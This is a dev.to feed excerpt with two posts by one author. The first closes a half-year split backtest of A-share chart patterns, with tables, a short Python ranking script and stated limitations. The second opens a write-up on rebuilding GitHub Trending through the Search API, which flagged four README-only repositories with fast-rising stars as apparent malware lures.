&lt;th&gt;positive halves&lt;/th&gt;
&lt;th&gt;spread (pp)&lt;/th&gt;
&lt;th&gt;std across halves&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;high-level volume dump&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.64&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0/6&lt;/td&gt;
&lt;td&gt;1.94&lt;/td&gt;
&lt;td&gt;0.67&lt;/td&gt;
&lt;td&gt;7,052&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;volume breakout&lt;/td&gt;
&lt;td&gt;-0.83&lt;/td&gt;
&lt;td&gt;1/6&lt;/td&gt;
&lt;td&gt;1.74&lt;/td&gt;
&lt;td&gt;0.62&lt;/td&gt;
&lt;td&gt;59,090&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uptrend&lt;/td&gt;
&lt;td&gt;-0.15&lt;/td&gt;
&lt;td&gt;1/6&lt;/td&gt;
&lt;td&gt;1.23&lt;/td&gt;
&lt;td&gt;0.37&lt;/td&gt;
&lt;td&gt;396,937&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;range-bound&lt;/td&gt;
&lt;td&gt;-0.10&lt;/td&gt;
&lt;td&gt;2/6&lt;/td&gt;
&lt;td&gt;0.60&lt;/td&gt;
&lt;td&gt;0.19&lt;/td&gt;
&lt;td&gt;176,565&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;oversold bounce&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4/6&lt;/td&gt;
&lt;td&gt;2.55&lt;/td&gt;
&lt;td&gt;1.02&lt;/td&gt;
&lt;td&gt;5,897&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pullback, shrinking volume&lt;/td&gt;
&lt;td&gt;+0.03&lt;/td&gt;
&lt;td&gt;2/6&lt;/td&gt;
&lt;td&gt;0.42&lt;/td&gt;
&lt;td&gt;0.18&lt;/td&gt;
&lt;td&gt;227,737&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four things fall out of that table.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The only perfect 6/6 record belongs to the signal that says stay out
&lt;/h3&gt;

&lt;p&gt;A high-level, high-volume down day is negative in &lt;strong&gt;every one&lt;/strong&gt; of the six halves: average excess &lt;strong&gt;-1.64pp&lt;/strong&gt;, worst -2.29, best -0.35, and its win rate sits in a 37-44% band in all six. It is the only label where I cannot find a half that contradicts it. Note what kind of signal it is: a &lt;em&gt;don't add here / trim into strength&lt;/em&gt; signal, not a money printer.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The trade retail loves most is negative in 5 of 6 halves
&lt;/h3&gt;

&lt;p&gt;A breakout on 1.5x volume: average excess &lt;strong&gt;-0.83pp&lt;/strong&gt;, worst half &lt;strong&gt;-1.67pp&lt;/strong&gt;, win rate range 35.4-44.6%. The single positive half (+0.07 in 2026H1) is smaller than the noise floor of every other half. "Buy strength with volume" is a fine slogan; on this panel it is a coin flip with a fee attached.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The best average came from the least stable pattern
&lt;/h3&gt;

&lt;p&gt;Oversold bounce tops the average list at &lt;strong&gt;+0.90pp&lt;/strong&gt; and is positive in 4 of 6 halves. It also has the widest spread of anything here (&lt;strong&gt;2.55pp&lt;/strong&gt;), the largest across-half standard deviation (&lt;strong&gt;1.02&lt;/strong&gt;), and a firing count that swings &lt;strong&gt;6.8x&lt;/strong&gt; between halves - from 1,644 rows in 2025H1 to &lt;strong&gt;241 rows in 2025H2&lt;/strong&gt;, which is also the half where its excess went to -0.33. In other words: the headline number is the mean of a handful of small, regime-dependent samples. That is the exact configuration that produces "my backtest says +1.5% per 5 days" and then refuses to repeat.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Three labels are just the market
&lt;/h3&gt;

&lt;p&gt;Pullback on shrinking volume (&lt;strong&gt;+0.03pp&lt;/strong&gt;), range-bound (&lt;strong&gt;-0.10&lt;/strong&gt;), uptrend (&lt;strong&gt;-0.15&lt;/strong&gt;), with spreads under 1.25pp. Nothing there in either direction - they are the null hypothesis wearing a label.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I changed in the screener
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Rank on sign consistency first, magnitude second.&lt;/strong&gt; A pattern that is wrong in a third of the halves it was chosen over is not a signal, it is a sample.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust the avoid side, discount the buy side.&lt;/strong&gt; The two most sign-stable labels are both negative-expectancy ones. That asymmetry has been the most durable thing in this panel across three years of window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Print the per-half firing count next to the average.&lt;/strong&gt; A frequency that moves 6.8x is measuring the regime, not the setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Size by regime, not by conviction.&lt;/strong&gt; If the same rule earns +2.0pp in one half and -0.3pp in another, position size has to be a function of which half you think you are in, and the honest answer is often "smaller".&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Reproduce the ranking
&lt;/h2&gt;

&lt;p&gt;The whole ranking is ~25 lines once the per-half table exists. This is the actual script that produced the tables above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alpha_by_half.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;periods&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;periods&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;patterns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;halves&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;periods&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;halves&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pattern&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg_excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;spread&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;std&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pstdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;halves&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pattern&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; avg=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;avg_excess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;6.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pos=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;positive_halves&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/6 spread=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;spread&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;std=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;std&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; n=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you keep one habit from this post, make it this one: when a pattern only looks good as one averaged number, split the sample by time and re-rank by how many windows agree on the sign. It costs ten lines and it is the cheapest edge-destroying test I know.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limitations, before you take any of this seriously
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The window is a uniform 641 bars per name, so &lt;strong&gt;2024H1 and 2026H2 are partial halves&lt;/strong&gt; by construction. Six halves is six data points; sign consistency is a cheap robustness filter, not a significance test.&lt;/li&gt;
&lt;li&gt;5-day forward returns, &lt;strong&gt;no transaction costs&lt;/strong&gt;, no limit-up tradability filter - a pattern that fires on days you could not have bought at the close is not a trade, it is a row.&lt;/li&gt;
&lt;li&gt;The panel is "names that still exist with enough history", which is a &lt;strong&gt;survivorship filter by construction&lt;/strong&gt;, not an accident.&lt;/li&gt;
&lt;li&gt;Per-half tables above are means. In the full-sample cut of the same study the medians sit well below the means for buy-side labels (volume breakout: mean -0.29%, &lt;strong&gt;median -1.3%&lt;/strong&gt;), so means flatter the positive tail.&lt;/li&gt;
&lt;li&gt;A-shares cannot be shorted in most accounts. The 6/6 signal is a &lt;em&gt;don't add here&lt;/em&gt; signal. Do not read it as a short.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The screener these numbers come from is packaged as a skill on &lt;strong&gt;虾评 (xiaping.coze.com)&lt;/strong&gt; together with the A-share three-pillar screener, and the reproducible sibling tools from this series - the frozen-scan guard, the rule-binding audit, the de-AI linter - are MIT in the repo:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Panel and half-split study live in a private workspace; every number above is a direct read of &lt;code&gt;alpha_by_half.json&lt;/code&gt; (cutoff 2026-09-28). Nothing here is investment advice - it is a report on what my own study does when I stop letting it average.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 05 Oct 2026 04:04:07 +0000</pubDate>
      <link>https://dev.to/felixwang007/github-trending-has-no-api-i-rebuilt-it-and-it-caught-4-malware-repos-made-entirely-of-readme-1ek8</link>
      <guid>https://dev.to/felixwang007/github-trending-has-no-api-i-rebuilt-it-and-it-caught-4-malware-repos-made-entirely-of-readme-1ek8</guid>
      <description>&lt;p&gt;Two days ago my daily GitHub digest pipeline returned nothing.&lt;/p&gt;

&lt;p&gt;Not "no results" — nothing. &lt;code&gt;curl https://github.com/trending&lt;/code&gt; sat there for &lt;strong&gt;19.4 seconds and returned HTTP 000&lt;/strong&gt;. No redirect, no block page, no body. Just a dead socket. Trendshift.io answered HTTP 200 in the same minute — with &lt;strong&gt;0 bytes&lt;/strong&gt;, because it is a client-rendered SPA.&lt;/p&gt;

&lt;p&gt;That is the state of "GitHub Trending" as a data source: &lt;strong&gt;one HTML page, no API, no fallback, and it can vanish from your network without telling you.&lt;/strong&gt; So I rebuilt the digest on the Search API. Then the rebuild found something the Trending page would have shown me with a star count and no warning at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rebuild v1: treat the Search API as a Trending proxy
&lt;/h2&gt;

&lt;p&gt;There is no &lt;code&gt;trending&lt;/code&gt; endpoint. The closest thing is a birth-window query, sorted by stars:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="s2"&gt;"search/repositories?q=created:&amp;gt;2026-09-28&amp;amp;sort=stars&amp;amp;order=desc&amp;amp;per_page=25"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.items[] | "\(.stargazers_count)\t\(.full_name)\t\(.language)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That works, it is stable, and it is authenticated (5,000 req/h instead of 60). It is also &lt;strong&gt;not trending&lt;/strong&gt;. Three blind spots, measured:&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 1 — absolute stars ≠ velocity
&lt;/h3&gt;

&lt;p&gt;Run the same query on old repos and you get a monument, not a trend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;q=created:&amp;lt;2026-01-01+pushed:&amp;gt;2026-10-01+stars:&amp;gt;5000&amp;amp;sort=stars

486111  2016-03-20  public-apis/public-apis
456759  2014-12-24  freeCodeCamp/freeCodeCamp
398488  2013-10-11  EbookFoundation/free-programming-books
391330  2025-11-24  openclaw/openclaw
368876  2017-03-15  nilbuild/developer-roadmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;freeCodeCamp&lt;/code&gt; has 456,759 stars and zero relevance to "today". Sorting by raw stars answers &lt;em&gt;"what is famous"&lt;/em&gt;, not &lt;em&gt;"what is moving"&lt;/em&gt;. Trending is a derivative, and the Search API will not give you a derivative.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 2 — the &lt;code&gt;created:&amp;gt;DATE&lt;/code&gt; window can only see newborns
&lt;/h3&gt;

&lt;p&gt;A 2019 repo that gained 800 stars today is genuinely trending and &lt;strong&gt;structurally invisible&lt;/strong&gt; to a &lt;code&gt;created:&amp;gt;7d&lt;/code&gt; filter. The only fix is to stop asking for trends and start computing them: snapshot the list daily, store &lt;code&gt;(repo, stars, timestamp)&lt;/code&gt;, and rank tomorrow by &lt;strong&gt;Δstars/day&lt;/strong&gt;. That is a local diff problem, not an API feature.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 3 — there is no hygiene signal, and stars are the cheapest thing to fake
&lt;/h3&gt;

&lt;p&gt;The Search API ranks by one number. It tells you nothing about whether the repo contains code. I narrowed the window to 72 hours and looked at what came out.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a 72-hour window surfaces
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;stars&lt;/th&gt;
&lt;th&gt;repo&lt;/th&gt;
&lt;th&gt;files&lt;/th&gt;
&lt;th&gt;forks&lt;/th&gt;
&lt;th&gt;description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;939&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kargulstudio/sales-crm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;191&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(none)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;481&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ythx-101/live-panel-skill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;JSON-driven architecture diagrams&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;414&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BlackCrewmanFringe/AutoCad&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"professional desktop software utility…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;408&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Blockadezoshack/Microsoft-Project&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"optimizes professional workflow management…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;315&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AxeEradicate/Fps-Booster-for-Windows&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"Maximize your Windows PC's performance…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;212&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;beachbladesmanloop/Hwid-Spoofer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"optimizes performance and streamlines workflows…"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four of the ten fastest-rising repos created in the last 72 hours contain &lt;strong&gt;exactly one file&lt;/strong&gt;: a 2–4 KB &lt;code&gt;README.md&lt;/code&gt;. Zero code, zero forks, zero releases, no license. The repo &lt;code&gt;size&lt;/code&gt; field says 2 KB — that is the whole repository.&lt;/p&gt;

&lt;p&gt;The four descriptions are LLM-written marketing prose for products ("AutoCAD", "Microsoft Project", "FPS Booster") that the repos obviously do not contain. The four repos were created on two days, in two clusters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blockadezoshack/Microsoft-Project       created 2026-10-04T11:37:45Z  pushed 11:37:50Z
BlackCrewmanFringe/AutoCad              created 2026-10-04T11:36:47Z  pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows    created 2026-10-03T11:18:49Z  pushed 11:18:54Z
beachbladesmanloop/Hwid-Spoofer         created 2026-10-03T11:19:06Z  pushed 11:19:13Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Created and last-pushed &lt;strong&gt;five seconds apart&lt;/strong&gt;. That is not a repository, that is a template render plus a &lt;code&gt;git push&lt;/code&gt;.&lt;/p&gt;

